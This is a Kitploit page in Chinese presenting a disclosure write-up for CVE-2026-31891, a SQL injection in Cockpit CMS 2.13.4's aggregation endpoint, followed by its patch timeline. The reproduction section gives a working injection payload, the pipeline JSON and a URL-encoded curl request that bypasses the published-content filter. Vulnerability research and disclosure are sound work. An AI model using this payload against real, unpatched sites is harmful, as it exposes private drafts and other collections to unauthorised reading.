Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-31891 — SQL 注入:MongoLite 聚合优化器中的 toJsonExtractRaw() 漏洞 | Kitploit
工具/GitHubGitHub/ffasterss/cve-2026-31891
漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试数据库安全
GitHubffasterss/cve-2026-31891

CVE-2026-31891

SQL 注入:MongoLite 聚合优化器中的 toJsonExtractRaw() 漏洞

查看仓库
5个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

MongoLite 聚合优化器中通过 toJsonExtractRaw() 实现的 SQL 注入

  • 漏洞类别:SQL 注入(CWE-89)
  • 产品:Cockpit CMS(核心版)
  • 受影响版本:2.13.4,以及自聚合优化器引入以来可能的所有版本
  • 已测试的 Docker 镜像:cockpithq/cockpit:core-2.13.4
  • 源代码提交:7fe563023b7fae854c857d2e2dc0878ef28fbb5f(标签 2.13.4)
  • GitHub:https://github.com/Cockpit-HQ/Cockpit
  • 发现日期:2026-02-28
  • CVSS 评分:7.7(高危)— CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

1. 执行摘要

在 Cockpit CMS(核心版 2.13.4)中发现了 SQL 注入漏洞。该漏洞存在于 MongoLite 聚合优化器中,具体位于 toJsonExtractRaw() 方法内。用户可控的字段名未经适当清理便直接拼接进 SQL 查询中。

拥有内容模型读取权限(通过 API 密钥)的已认证攻击者可以通过 /api/content/aggregate/{model} REST 端点向聚合管道注入任意 SQL 命令。

此缺陷使攻击者能够:

  • 绕过预期的已发布内容过滤器(_state=1)以读取未发布的草稿。
  • 从同一 SQLite 数据库中的任何集合提取完整文档内容。
  • 通过 sqlite_master 枚举内部数据库架构。

2. 逐步漏洞复现

以下步骤演示了攻击者如何绕过 _state=1 授权过滤器。

前提条件

  • Cockpit CMS 2.13.4 或更低版本
  • 一个至少对内容集合模型具有读取权限的 API 密钥。

2.1:配置内容模型

  1. 以管理员身份登录 Cockpit CMS 管理后台。
  2. 导航至 内容 > 模型,并创建一个名为 testcol 的新模型。
  3. 向模型添加两个文本字段:title 和 body。

截图:设置 testcol 内容模型 设置 testcol 内容模型

2.2:配置 API 角色和密钥

  1. 导航至 设置 > 角色。
  2. 创建或修改一个角色(例如 MasterRole),使其对 testcol 模型拥有 读取 权限。

截图:为集合配置角色权限 为集合配置角色权限

  1. 导航至 设置 > API 与安全(API 密钥)。
  2. 添加一个新的 API 密钥,并为其分配您刚刚配置的 MasterRole。复制密钥值(例如 API-b8e8...)。

截图:设置具有读取访问角色的 API 密钥 设置具有读取访问角色的 API 密钥

2.3:创建示例内容(包括一个秘密草稿)

  1. 前往 内容 > testcol。
  2. 创建一个标题为 Public 的项目,并将其状态设置为已发布(绿色图标)。
  3. 创建第二个标题为 SECRET_DRAFT 的项目,并将其状态设置为未发布(红色图标)。

截图:显示一个已发布和一个未发布项目的列表 显示一个已发布和一个未发布项目的列表

2.4:执行漏洞利用

默认情况下,标准 API 查询只会返回状态为已发布的内容。然而,通过向聚合管道注入 SQL,可以绕过已发布内容过滤器。

  1. 构造以下载荷。该载荷跳出 json_extract() SQL 函数,并附加一个 SQL 注释 -- 来中和尾随的 SQL,专门针对将结果限制为已发布项目的 WHERE 子句。

注入字段:

root@kitploit:~
$title') as _id FROM collections_testcol--

完整管道 JSON:

root@kitploit:~
[{"$group": {"_id": "$title') as _id FROM collections_testcol--", "c": {"$sum": 1}}}]
  1. 对管道 JSON 进行 URL 编码,并通过浏览器(或 curl)向 /api/content/aggregate/testcol 端点发送 GET 请求。确保将 YOUR_API_KEY 替换为在步骤 2.2 中生成的密钥:
root@kitploit:~
curl "http://localhost:8080/api/content/aggregate/testcol?api_key=YOUR_API_KEY&pipeline=%5B%7B%22%24group%22%3A%20%7B%22_id%22%3A%20%22%24title%27%29%20as%20_id%20FROM%20collections_testcol--%22%2C%20%22c%22%3A%20%7B%22%24sum%22%3A%201%7D%7D%7D%5D"

2.5:漏洞验证

如下方最终截图所示,API 响应成功返回了 SECRET_DRAFT 项目,尽管它被明确标记为未发布。这证实了 SQL 注入绕过了应用程序的核心授权机制,并允许通过 API 进行未经授权的数据提取。

截图:成功提取未发布的 'SECRET_DRAFT' 数据 成功提取未发布的 'SECRET_DRAFT' 数据

3. 影响——后果

在典型的无头 CMS 部署中,公共只读 API 密钥通常被嵌入/硬编码在前端 JavaScript 中。通过利用此漏洞经由公共 API 端点,攻击者可以:

  • 绕过已发布内容过滤器以读取未发布的草稿、已归档项目和隐藏内容。
  • 读取同一 content.sqlite 数据库中的所有内容集合,包括 API 密钥未被授权的集合。
  • 通过 sqlite_master 枚举数据库架构,以发现所有表名和结构。

4. 披露时间线

日期操作
2026-02-28在授权安全研究期间发现漏洞
2026-03-02向供应商提交报告
2026-03-02供应商修复 -- https://github.com/Cockpit-HQ/Cockpit/commit/b6a0b45c5e8fe16f3027b889583cc3a9127ab4b0
2026-03-09发布补丁 v 2.13.5 -- https://getcockpit.com/releases

附录:

  • https://github.com/Cockpit-HQ/Cockpit/security/advisories/GHSA-7x5c-vfhj-9628
  • https://www.cve.org/CVERecord?id=CVE-2026-31891
下载工具